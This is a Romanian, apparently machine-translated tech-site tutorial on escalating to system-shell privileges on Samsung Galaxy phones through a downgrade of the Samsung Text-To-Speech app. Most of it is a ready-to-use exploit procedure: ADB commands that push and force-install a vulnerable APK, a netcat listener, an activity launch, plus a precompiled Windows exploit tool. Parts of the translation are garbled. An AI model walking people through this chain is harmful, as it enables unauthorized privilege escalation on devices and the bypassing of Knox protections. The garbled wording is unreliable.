Cum să obțineți acces la sistem shell pe orice dispozitiv Samsung Galaxy

Legături rapide

  • Cerințe preliminare
  • Cum să exploatezi orice dispozitiv Samsung Galaxy pentru a obține acces la shell-ul sistemului
  • Verificare
  • Concluzie

În prima zi de luni a fiecărei luni, Google publică Buletin de securitate Android. Acesta dezvăluie toate vulnerabilitățile de securitate atenuate din diferite componente ale sistemului de operare Android ca precum și kernel-ul Linux și corecțiile acestora trimise de Google înșiși sau de alte terțe părți Data. Producătorii OEM mari, cum ar fi Samsung, au propria lor interpretare asupra Android, așa că aleg să-și introducă propriile corecții și actualizări în actualizări de securitate.

Acestea fiind spuse, este destul de greu să ai grijă de fiecare lacună. Există o multitudine de vectori de atac și uneori vă puteți crea propriul lanț de exploatare pe baza o vulnerabilitate cunoscută anterior doar pentru că aveți o nouă metodă de a ocoli una dintre garanții. Acesta este exact ceea ce XDA Senior Member K0mraid3 a făcut-o cu o vulnerabilitate veche de patru ani, care i-a permis să obțină acces la sistem shell pe fiecare dispozitiv Samsung Galaxy - inclusiv pe cele mai recente flagship - de acolo. Deși nu este același lucru cu

având privilegii de root, este o escaladare a privilegiilor locale suficient de mare.

Punctul de intrare principal al vulnerabilității se află în Samsung Text-To-Speech (numele pachetului: com.samsung. SMT), o aplicație de sistem preîncărcată care poate fi găsită pe fiecare dispozitiv Samsung Galaxy. Ideea este să downgrade versiunea instalată a aplicației la o anumită versiune vulnerabilă (v3.0.02.2 pentru a fi precis), și apoi forțați-l să încarce o bibliotecă, care la rândul său deschide un shell cu privilegii de sistem (UID 1000).

Dacă doriți să aflați mai multe despre exploit, asigurați-vă că verificați Explicația editorului tehnic principal XDA Adam Conway. El a vorbit cu K0mraid3 pentru a înțelege întregul scop al acestui exploit și cum funcționează.

  1. Pentru a reitera, acesta nu este acces root (UID 0), dar accesul shell-ului sistemului este suficient de puternic pentru a executa o grămadă de binare altfel restricționate.
  2. Dovada conceptului K0mraid3 necesită un APK de ajutor și trebuie să îl rulați cel puțin o dată înainte de a lansa lanțul de exploatare.
  3. O singură interfață de utilizare, adică rutinele de economisire a energiei încorporate ale skinului Android personalizat de la Samsung pot fi supărătoare, deoarece ar putea împiedica comunicarea dintre aplicația TTS, APK-ul de ajutor și shell. Astfel, vă sugerăm să setați în prealabil profilul de economisire a energiei la „Nerestricționat” pentru aplicații.

Cerințe preliminare

  1. Descărcați versiunea pre-compilată a exploit-ului din Subiect de forum XDA sau depozitul oficial GitHub legat mai jos: Exploatare Shell de sistem K0mraid3s
  2. Extrageți arhiva undeva și ar trebui să găsiți versiunea vulnerabilă a APK-ului Samsung Text-To-Speech (samsungTTSVULN2.apk), aplicația de ajutor (Komraid3s_POC_Vx.x.apk) și un executabil Windows numit systemshell-vx.x.exe.
  3. Asigurați-vă că cea mai recentă versiune a ADB este instalat pe PC/Mac/Chromebook. De asemenea, amintiți-vă instalați/actualizați driverele USB Samsung dacă sunteți un utilizator Windows.

Cum să exploatezi orice dispozitiv Samsung Galaxy pentru a obține acces la shell-ul sistemului

Metoda manuala

  1. Conectați dispozitivul Galaxy țintă la computer cu depanarea USB activată, asigurați-vă că poate fi descoperit de ADB, apoi instalați aplicația de ajutor.
    adb install Komraid3s_POC_Vx.x.apk
    • După cum am menționat mai devreme, deschideți aplicația de ajutor cel puțin o dată înainte de a trece la pasul următor.
  2. Acum împingeți versiunea vulnerabilă a aplicației Samsung TTS la /data/local/tmp și modificați-i permisiunile:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Reporniți dispozitivul. De îndată ce vă aflați pe ecranul de pornire, rulați următoarea comandă pentru a înlocui versiunea deja instalată a aplicației Samsung TTS cu cea vulnerabilă:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Dacă totul merge bine, atunci ar trebui să vedeți un mesaj „Succes” pe consolă.
  4. Deschideți un shell pe dispozitivul țintă deschizând o altă fereastră de terminal și executând adb coajă, apoi executați binarul Netcat și ascultați o conexiune de intrare pe portul 9997 cu următoarea comandă:
    adb shell nc -lp 9997
  5. În această etapă, trebuie să executăm o activitate specifică a aplicației Samsung TTS, care ne va deschide shell-ul sistemului.
    • Utilizați o aplicație terță parte, cum ar fi acest pentru a crea o comandă rapidă pentru „com.samsung. SMT/.gui. Activitate DownloadList”.
    • De asemenea, puteți utiliza propriul manager de activitate al Android (am) pentru a face același lucru. În acest caz, îl puteți executa prin ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) sau utilizați o aplicație de emulator de terminal pe telefon/tabletă, cum ar fi Termux, și rulați următoarea comandă:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Treceți înapoi la primul shell și ar trebui să vedeți o nouă solicitare cu privilegiu de sistem (UID 1000).

Metoda automatizata

Pentru a ușura lucrurile, K0mraid3 oferă, de asemenea, o aplicație GUI ușor de utilizat pentru a automatiza majoritatea sarcinilor. Rețineți că aplicația GUI este numai pentru Windows, așa că dacă sunteți un utilizator Linux/macOS, este mai bine să rămâneți cu metoda manuală.

  1. Conectați dispozitivul Galaxy țintă la computer cu depanarea USB activată, asigurați-vă că poate fi descoperit de ADB, apoi instalați aplicația de ajutor.
    adb install Komraid3s_POC_Vx.x.apk
    • După cum am menționat mai devreme, deschideți aplicația de ajutor cel puțin o dată înainte de a trece la pasul următor.
  2. Cu dispozitivul țintă descoperit de ADB, rulați systemshell-vx.x.exe pe computerul gazdă.
  3. Faceți clic pe butonul „START SHELL”. Aplicația va retrograda automat aplicația Samsung TTS și va încerca să deschidă shell-ul sistemului.
    • Pe telefon/tabletă, este posibil să vedeți aplicația TTS care vă solicită să descărcați câteva date vocale. Nu este nevoie să interacționați cu aceste opțiuni, deoarece nu au nimic de-a face cu exploit.
    • În cazul în care aplicația se blochează sau nu reușește să deschidă fereastra shell după ceva timp, închideți-o, reporniți dispozitivul Galaxy țintă și începeți de la capăt.
    • Aplicația Galaxy Store poate actualiza și/sau reseta automat profilul de economisire a energiei al aplicației TTS în fundal, așa că asigurați-vă că îl verificați înainte de a începe procesul de la zero.

Verificare

Odată ce aveți acces la shell, puteți verifica nivelul de privilegii folosind una dintre comenzile de mai jos:

  • whoami
    • Ieșirea ar trebui să fie „sistem”
  • id -u
    • Ieșirea ar trebui să fie „1000”

Concluzie

Modul obișnuit de a obține accesul root pe un dispozitiv Android este de a debloca mai întâi bootloader-ul, care vă permite să porniți binare terțe. Deoarece modelul de securitate al Android practic se destramă cu root, acest pas dezactivează în mod intenționat una dintre caracteristicile cheie de securitate de pe dispozitiv, care Acesta este motivul pentru care utilizatorul trebuie să permită în mod explicit să se întâmple, activând de obicei o comutare în Opțiuni pentru dezvoltatori și apoi lansând o comandă de deblocare către bootloader. Odată ce bootloader-ul este deblocat, utilizatorul poate introduce un binar de superutilizator în sistem și, de asemenea, o aplicație de gestionare a superutilizatorului (cum ar fi Magisk) pentru a controla ce procese au acces la root.

Cu exploatarea shell-ului de sistem menționată mai sus, totuși, utilizatorul nu trebuie să deblocheze bootloader-ul pentru a obține un privilegiu crescut. Deși este departe de a fi root, utilizatorul „sistem” este suficient de capabil să acceseze o serie de partiții de nivel scăzut (cum ar fi ca /efs), porniți diverse instrumente de service și depanare și modificați multe valori protejate de prop — toate fără măcar să declanșați Knox. Aceste exemple ating doar câteva moduri; un actor rău intenționat poate combina acest lucru cu alte vulnerabilități și poate veni cu acțiuni mai nefaste.

Va trebui să așteptăm și să vedem cum Google și Samsung abordează scenariul. Oricum ar fi, probabil că ar trebui să dezactivați sau să eliminați aplicația Samsung Text-To-Speech pentru moment.